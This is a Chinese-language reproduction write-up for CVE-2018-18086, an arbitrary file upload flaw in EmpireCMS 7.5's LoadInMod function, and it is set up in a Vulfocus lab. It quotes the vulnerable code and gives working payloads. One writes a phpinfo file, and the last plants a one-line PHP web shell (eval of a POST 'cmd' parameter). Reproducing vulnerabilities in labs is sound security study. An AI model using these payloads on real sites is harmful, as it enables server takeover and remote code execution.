0x01 漏洞描述
EmpireCMS(帝國網站管理系統)是一套內容管理系統(CMS)。 EmpireCMS 7.5版本中的e/class/moddofun.php文件的‘LoadInMod’函數存在安全漏洞。攻擊者可利用該漏洞上傳任意文件。
0x02 漏洞編號
CVE-2018-18086
0x03 影響范圍
EmpireCMS<=7.5
0x04 漏洞復現
環境
使用Vulfocus靶場鏡像一鍵搭建
https://fofapro.github.io/vulfocus/#/
復現
主要存在漏洞代碼位置:/e/class/moddofun.php
//導入模型
elseif($enews=="LoadInMod")
{
$file=$_FILES['file']['tmp_name'];
$file_name=$_FILES['file']['name'];
$file_type=$_FILES['file']['type'];
$file_size=$_FILES['file']['size'];
LoadInMod($_POST,$file,$file_name,$file_type,$file_size,$logininid,$loginin);
}
轉到LoadInMod定義,make_password(10)對文件名進行加密重命名。但是include()直接包含上傳的文件,這樣就可以繞過重命名的文件
//上傳文件
$path=ECMS_PATH."e/data/tmp/mod/uploadm".time().make_password(10).".php";
$cp=@move_uploaded_file($file,$path);
if(!$cp)
{
printerror("EmptyLoadInMod","");
}
DoChmodFile($path);
@include($path);
UpdateTbDefMod($tid,$tbname,$mid);
@include($path); 直接包含文件
上傳一個1.php.mod文件,寫入phpinfo()
<?php file_put_contents("shell1.php","<?php phpinfo()?>");?>
訪問上傳的文件,成功返回代碼
進行getshell,寫入一句話木馬,$
需要進行轉義處理
<?php file_put_contents("getshell.php","<?php @eval(\$_POST[cmd]); ?>");?>